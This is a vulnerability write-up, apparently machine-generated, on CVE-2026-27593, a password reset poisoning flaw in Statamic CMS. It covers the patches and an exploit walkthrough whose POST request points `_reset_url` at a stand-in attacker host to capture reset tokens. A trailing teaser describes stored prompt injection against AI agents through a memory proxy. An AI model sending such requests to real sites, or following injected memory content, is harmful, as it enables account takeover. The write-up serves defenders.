CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27593

CVE-2026-27593: Statamic's 'Choose Your Own Adventure' Password Reset

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 24, 2026·5 min read·716 visits

Executive Summary (TL;DR)

Statamic CMS allowed users to define the `_reset_url` parameter in password reset requests without validation. Attackers can abuse this to redirect the password reset token to their own domain when a victim clicks the link in a legitimate email. This leads to full account takeover.

A critical vulnerability in Statamic CMS turns the password reset feature into an account takeover weapon. By injecting a malicious base URL into the reset request, attackers can force the system to email valid users a link that sends their reset token directly to the attacker's server.

The Hook: Asking Nicely for a Password

In the world of web security, there is a golden rule that every junior developer learns (and eventually ignores): Never Trust User Input.

Statamic, a popular "flat-file first" Laravel CMS, unfortunately decided to be a little too trusting. In an effort to make their system flexible, they allowed developers to customize where a user lands after clicking a password reset link. This was controlled by a simple parameter in the POST request called _reset_url.

Ideally, this parameter would just point to a relative path like /reset-password. But because the code didn't validate the input, it became a "Choose Your Own Adventure" for hackers. Instead of sending the user to the CMS's reset page, an attacker could politely ask the CMS to send the user—and their precious reset token—straight to an evil server controlled by the attacker.

The Flaw: A Classic Host Header Injection

This vulnerability (CWE-640) is a textbook example of Password Reset Link Poisoning. The mechanism is simple: the application generates a cryptographic token (abc123...) that proves you are the account owner. It needs to send this token to you in a link.

The flaw resides in how Statamic constructed that link. Instead of using the server's configured APP_URL or ROOT domain, it prioritized the user-supplied _reset_url from the incoming HTTP request.

When the legitimate application processes the password reset request, it dutifully composes an email to the victim. It says, "Hey, here is your link!" followed by {_reset_url}?token={secret}. If I, the attacker, set _reset_url to https://evil-hacker.com, the valid Statamic server sends a valid email to the victim pointing to my website. The moment the victim clicks that link, their browser sends a GET request to my server, appending their secret token in the query string. Game over.

The Code: The Failed Fix and The Real Fix

The remediation history for this bug is almost as interesting as the bug itself. It highlights a common developer fallacy: attempting to sanitize input with regex or string matching instead of strict validation.

The Original Sin: The code simply accepted the input:

if ($url = $request->_reset_url) {
    // No validation whatsoever
    PasswordReset::resetFormUrl(URL::makeAbsolute($url));
}

The Failed Fix (Attempt 1): The developers realized this was bad and tried to ensure the URL started with the site's legitimate URL using Str::startsWith.

// Flawed Logic
$isExternal = ... ->filter(fn ($siteUrl) => Str::startsWith($url, $siteUrl))->isEmpty();

Why it failed: Str::startsWith is dumb. If your site is https://example.com, and I send https://example.com.attacker.com, the check passes because the string technically starts with the correct characters. This is a classic subdomain/suffix bypass.

The Real Fix (Attempt 2): The final patch (v5.73.10 / v6.3.3) stops playing games with strings and parses the actual domain structure.

// Solid Logic
$urlDomain = parse_url($url, PHP_URL_HOST);
// ... compare $urlDomain strictly against known site domains

By parsing the host, example.com and example.com.attacker.com are treated as distinct entities, closing the vulnerability.

The Exploit: Phishing with a Perfect Disguise

Let's walk through how a black-hat would weaponize this. The beauty of this attack is that the phishing email comes from the legitimate server. It passes SPF, DKIM, and DMARC checks because it is a real email from the system.

Step 1: Recon The attacker finds a Statamic login page and identifies the admin email (e.g., admin@target-corp.com).

Step 2: The Poisoned Request The attacker sends a POST request to the password reset endpoint:

POST /!/auth/password/email HTTP/1.1
Host: target-corp.com
Content-Type: application/x-www-form-urlencoded
 
email=admin@target-corp.com&_reset_url=https://attacker-logger.com/collect

Step 3: The Trap The target admin receives an email: "Someone requested a password reset. If this was you, click here." The link looks like a button. The admin thinks, "Weird, I didn't request this," but curiosity (or fear of being hacked) often drives them to click it to "cancel" or investigate.

Step 4: The Capture The admin clicks. Their browser opens https://attacker-logger.com/collect?token=VERY_SECRET_TOKEN&email=.... The attacker's access logs now contain the keys to the kingdom.

The Impact: From Zero to Admin

Why is this rated CVSS 9.3 (Critical)? Because in a CMS environment, Administrator access is usually synonymous with Remote Code Execution (RCE).

Once the attacker uses the stolen token to reset the admin's password and log in, they can typically:

  1. Edit templates or upload plugins.
  2. Inject PHP code into those templates.
  3. Execute shell commands on the server.

This vulnerability bypasses all authentication perimeters. It doesn't matter how strong the admin's password was; the reset mechanism itself was the weak link. It requires user interaction (clicking the link), but since the email is legitimate, the success rate is exponentially higher than standard phishing.

The Fix: Stop the Bleeding

If you are running Statamic v5 or v6, you are likely vulnerable. The patch is straightforward.

Immediate Action: Update to v5.73.10 or v6.3.3 immediately. These versions enforce strict domain whitelisting for the reset URL.

Defense in Depth: Even after patching, you should harden your environment:

  1. WAF Rules: Block any request containing _reset_url if your application doesn't actually need that feature (most don't).
  2. Hardcode URLs: Ensure your APP_URL environment variable is set correctly and forcing HTTPS.
  3. Trust Proxies: Configure your TrustProxies middleware in Laravel to only trust headers from known load balancers, preventing Host header spoofing which can sometimes achieve similar results.

Official Patches

StatamicStatamic v5.73.10 Release Notes
StatamicStatamic v6.3.3 Release Notes

Fix Analysis (2)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Statamic CMS v5 < 5.73.10Statamic CMS v6 < 6.3.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
Statamic CMS
Statamic
< 5.73.105.73.10
Statamic CMS
Statamic
>= 6.0.0-alpha.1 < 6.3.36.3.3
AttributeDetail
CWE IDCWE-640
Attack VectorNetwork
CVSS Score9.3 (Critical)
Exploit StatusPoC Available
ImpactAccount Takeover
PlatformPHP / Laravel

MITRE ATT&CK Mapping

T1204.001User Execution: Malicious Link
Execution
T1566Phishing
Initial Access
T1078Valid Accounts
Defense Evasion
CWE-640
Weak Password Recovery Mechanism

Weak Password Recovery Mechanism for Forgotten Password

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing the logic for the bypass and exploit

Vulnerability Timeline

Initial insufficient fix attempted
2026-02-18
Patched versions 5.73.10 and 6.3.3 released
2026-02-20
Public disclosure of CVE-2026-27593
2026-02-24

References & Sources

  • [1]GHSA-jxq9-79vj-rgvw

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
8 views•10 min read
•1 day ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
14 views•12 min read
•1 day ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
13 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
17 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read